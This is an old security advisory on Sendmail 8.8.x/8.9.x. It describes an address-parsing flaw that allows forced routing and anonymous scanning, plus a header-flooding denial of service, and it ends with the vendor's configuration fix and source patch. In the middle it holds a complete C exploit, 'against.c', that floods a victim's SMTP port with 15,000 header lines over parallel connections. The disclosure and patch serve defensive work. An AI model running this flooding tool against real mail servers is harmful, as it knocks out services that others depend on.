COMMAND
sendmail
SYSTEMS AFFECTED
Sendmail 8.8.x/8.9.x (incliding 8.9.2)
PROBLEM
Michal Zalewski posted following. Due to strange address parsing
policy [briefly: if address ends with local hostname, trim it and
parse as any other (even if after this operation address isn't
'local' anymore], specific message routing (eg. through internal,
protected or external networks) can be forced, giving an occasion
to perform anonymous scanning (or fakemailing). You could call it
'feature' instead of 'bug', but it seems to be Sendmail-specific.
There are also possible DoS attacks due to ineffective headers
prescan algorithm. Two or three medium-size (200 kb) mail
messages may render system unusable for quite long period of time
(as headers are parsed at least twice, on message collection and
in queue). This was tested with some systems - it brings down
everything, from DecStations running NetBSD, over linux, to HP's
running HPUX, all with the latest sendmail, and in all the cases,
sendmail died after 30 secs, and the load was very high... Exploit
follows:
/*
against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
(c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>
Usage: ./against existing_user_on_victim_host victim_host
Example: ./against nobody lamers.net
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>
#define MAXCONN 4
#define LINES 15000
struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;
int main(int argc,char* argv[]) {
printf("against.c - another Sendmail DoS (up to 8.9.2)\n");
if (argc-3) {
printf("Usage: %s victim_user victim_host\n",argv[0]);
exit(0);
}
hp=gethostbyname(argv[2]);
if (!hp) {
perror("gethostbyname");
exit(1);
}
fprintf(stderr,"Doing mess: ");
for (;loop<MAXCONN;loop++) if (!(x=fork())) {
FILE* d;
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=hp->h_addrtype;
s.sin_port=htons(25);
if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); }
usleep(100000);
fprintf(d,"helo tweety\n");
fprintf(d,"mail from: tweety@polbox.com\n");
fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
fprintf(d,"data\n");
usleep(100000);
for(loop=0;loop<LINES;loop++) {
if (!(loop%100)) fprintf(stderr,".");
fprintf(d,"To: x\n");
}
fprintf(d,"\n\n\nsomedata\n\n\n");
fprintf(d,".\n");
sleep(1);
fprintf(d,"quit\n");
fflush(d);
sleep(100);
shutdown(suck,2);
close(suck);
exit(0);
}
waitpid(x,&loop,0);
fprintf(stderr,"ok\n");
return 0;
}
SOLUTION
Simple fix for first bug described. In /etc/sendmail.cf, at the
top of ruleset 98, insert following line:
R$*@$*@$* $#error $@ 5.7.1 $: "551 Sorry, no redirections."
Unfortunately RFC 822 (and its followups) specify two kinds of
problematic accepted address formats:
user%host@relay
@relay:user@host
which both indicate that mail to user@host should be redirected
through relay (which may actually be a sequence of relays, i.e.
user%host%relay2@relay1 or @relay1,relay2:user@host). "fix" above
would break at least the second format. Disabling _relaying_ at
all will fix the problem. Sendmail users should be sure to update
their sendmail.cf when upgrading their sendmail binary. The
sendmail 8.9.2 binary alone will not stop relaying. The rulesets
provide the hooks for stopping relaying. Instructions on building
a new sendmail.cf are available in cf/README in the sendmail
distribution.
While studying the denial of service attack found by Michal
sendmail team found another related area which Michal's patch did
not catch. The patch below extends Michal's patch by limiting
both the number of header lines as well as the size of each
individual header line. The patch will enforce reasonable limits
on these lengths and adds a new configuration item. The new
option syntax is similar to that of the MaxMimeHeaderLength
option:
O MaxHeaderLines=####/####
where the first number is the number of lines that sendmail will
accept and the second number is the length of each line. The
default is 1000/990. This option can be set in a .mc file (after
applying the patch) with:
define(confMAX_HEADER_LINES, `1000/990')
Also note that the count is per line where before concatenating
continuation lines. For example, the following will be counted
as 2 lines (even though it is a single header):
To: gshapiro,
eric
The patch is for sendmail 8.9.2. To apply the patch, expand the
sendmail distribution and follow these steps (available from
ftp://ftp.sendmail.org/pub/sendmail/):
cd sendmail-8.9.2
patch -lp0 < patchfile
Note that the patch program which ships with Solaris has had
problems with patches in the past. Please use GNU patch
(ftp://ftp.gnu.org/pub/gnu/) if you are on a Solaris system. To
enable the new MaxHeaderLines option, you will need to recompile
with '-D_FFR_MAX_HEADER_LINES'. To accomplish this, add the
following line to sendmail-8.9.2/BuildTools/Site/site.config.m4:
APPENDDEF(`confENVDEF', `-D_FFR_MAX_HEADER_LINES=1')
Then recompile with './Build -c' in the src directory:
cd sendmail-8.9.2/src
./Build -c
Finally, install the new binary and restart your sendmail daemon.
sendmail 8.9.3, currently under test, will include this patch.
*** - Wed Dec 31 16:00:00 1969
--- src/conf.h Mon Jan 18 15:16:14 1999
***************
*** 65,70 ****
--- 65,76 ----
# else
# define MAXMACNAMELEN 20 /* max macro name length */
# endif
+ # ifndef MAXHDRLINES
+ # define MAXHDRLINES 1000 /* max lines in a message header */
+ # endif
+ # ifndef MAXHDRLINELEN
+ # define MAXHDRLINELEN SMTPLINELIM /* max length of a header line */
+ # endif
/**********************************************************************
** Compilation options.
*** - Wed Dec 31 16:00:00 1969
--- src/collect.c Tue Jan 19 20:27:20 1999
***************
*** 53,58 ****
--- 53,59 ----
#define MS_UFROM 0 /* reading Unix from line */
#define MS_HEADER 1 /* reading message header */
#define MS_BODY 2 /* reading message body */
+ #define MS_DISCARD 3 /* discarding rest of message */
void
collect(fp, smtpmode, hdrp, e)
***************
*** 73,78 ****
--- 74,81 ----
volatile int istate;
volatile int mstate;
u_char *volatile pbp;
+ int nhdrlines = 0;
+ int hdrlinelen = 0;
u_char peekbuf[8];
char dfname[MAXQFNAME];
char bufbuf[MAXLINE];
***************
*** 194,199 ****
--- 197,203 ----
switch (istate)
{
case IS_BOL:
+ hdrlinelen = 0;
if (c == '.')
{
istate = IS_DOT;
***************
*** 258,269 ****
bufferchar:
if (!headeronly)
e->e_msgsize++;
! if (mstate == MS_BODY)
{
/* just put the character out */
if (MaxMessageSize <= 0 ||
e->e_msgsize <= MaxMessageSize)
putc(c, tf);
continue;
}
--- 262,278 ----
bufferchar:
if (!headeronly)
e->e_msgsize++;
! switch (mstate)
{
+ case MS_BODY:
/* just put the character out */
if (MaxMessageSize <= 0 ||
e->e_msgsize <= MaxMessageSize)
putc(c, tf);
+
+ /* fall through */
+
+ case MS_DISCARD:
continue;
}
***************
*** 294,300 ****
--- 303,325 ----
#endif
}
else if (c != '\0')
+ {
*bp++ = c;
+ if (MaxHeaderLineLength > 0 &&
+ ++hdrlinelen > MaxHeaderLineLength)
+ {
+ sm_syslog(LOG_NOTICE, e->e_id,
+ "header line too long (%d max) from %s during message collect",
+ MaxHeaderLineLength,
+ CurHostName != NULL ? CurHostName : "localhost");
+ errno = 0;
+ e->e_flags |= EF_CLRQUEUE;
+ e->e_status = "5.6.0";
+ usrerr("552 Header line too long (%d max)",
+ MaxHeaderLineLength);
+ mstate = MS_DISCARD;
+ }
+ }
if (istate == IS_BOL)
break;
}
***************
*** 327,332 ****
--- 352,373 ----
goto nextstate;
}
+ if (MaxHeaderLines > 0 &&
+ ++nhdrlines > MaxHeaderLines)
+ {
+ sm_syslog(LOG_NOTICE, e->e_id,
+ "too many header lines (%d max) from %s during message collect",
+ MaxHeaderLines,
+ CurHostName != NULL ? CurHostName : "localhost");
+ errno = 0;
+ e->e_flags |= EF_CLRQUEUE;
+ e->e_status = "5.6.0";
+ usrerr("552 Too many header lines (%d max)",
+ MaxHeaderLines);
+ mstate = MS_DISCARD;
+ break;
+ }
+
/* check for possible continuation line */
do
{
***************
*** 346,351 ****
--- 387,393 ----
if (*--bp != '\n' || *--bp != '\r')
bp++;
*bp = '\0';
+
if (bitset(H_EOH, chompheader(buf, FALSE, hdrp, e)))
{
mstate = MS_BODY;
*** - Wed Dec 31 16:00:00 1969
--- src/sendmail.h Mon Jan 18 16:41:12 1999
***************
*** 1254,1259 ****
--- 1254,1261 ----
EXTERN int MaxRcptPerMsg; /* max recipients per SMTP message */
EXTERN bool DoQueueRun; /* non-interrupt time queue run needed */
EXTERN u_long ConnectOnlyTo; /* override connection address (for testing) */
+ EXTERN int MaxHeaderLines; /* max lines of headers per message */
+ EXTERN int MaxHeaderLineLength; /* max length of a header line */
#if _FFR_DSN_RRT_OPTION
EXTERN bool RrtImpliesDsn; /* turn Return-Receipt-To: into DSN */
#endif
*** - Wed Dec 31 16:00:00 1969
--- src/readcf.c Mon Jan 18 19:15:10 1999
***************
*** 1523,1528 ****
--- 1523,1532 ----
#define O_CONTROLSOCKET 0xa9
{ "ControlSocketName", O_CONTROLSOCKET, FALSE },
#endif
+ #if _FFR_MAX_HEADER_LINES
+ #define O_MAXHDRLINES 0xaa
+ { "MaxHeaderLines", O_MAXHDRLINES, FALSE },
+ #endif
{ NULL, '\0', FALSE }
};
***************
*** 2459,2464 ****
--- 2463,2487 ----
if (ControlSocketName != NULL)
free(ControlSocketName);
ControlSocketName = newstr(val);
+ break;
+ #endif
+
+ #if _FFR_MAX_HEADER_LINES
+ case O_MAXHDRLINES:
+ p = strchr(val, '/');
+ if (p != NULL)
+ *p++ = '\0';
+ MaxHeaderLines = atoi(val);
+ if (p != NULL && *p != '\0')
+ MaxHeaderLineLength = atoi(p);
+
+ if (MaxHeaderLines > 0 &&
+ MaxHeaderLines < 50)
+ printf("Warning: MaxHeaderLines: header line limit set lower than 50\n");
+
+ if (MaxHeaderLineLength > 0 &&
+ MaxHeaderLineLength < MAXHDRLINELEN)
+ printf("Warning: MaxHeaderLines: header line length limit set lower than %d\n", MAXHDRLINELEN);
break;
#endif
*** - Wed Dec 31 16:00:00 1969
--- src/conf.c Mon Jan 18 15:27:30 1999
***************
*** 280,285 ****
--- 280,287 ----
ColonOkInAddr = TRUE;
DontLockReadFiles = TRUE;
DoubleBounceAddr = "postmaster";
+ MaxHeaderLines = MAXHDRLINES;
+ MaxHeaderLineLength = MAXHDRLINELEN;
snprintf(buf, sizeof buf, "%s%sdead.letter",
_PATH_VARTMP,
_PATH_VARTMP[sizeof _PATH_VARTMP - 2] == '/' ? "" : "/");
*** - Wed Dec 31 16:00:00 1969
--- cf/m4/proto.m4 Mon Jan 18 19:28:07 1999
***************
*** 474,479 ****
--- 474,483 ----
`# Maximum MIME header length to protect MUAs
O MaxMimeHeaderLength=confMAX_MIME_HEADER_LENGTH
')
+ ifdef(`confMAX_HEADER_LINES',
+ `# Maximum number of header lines and header line length limit
+ O MaxHeaderLines=confMAX_HEADER_LINES
+ ')
###########################
# Message precedences #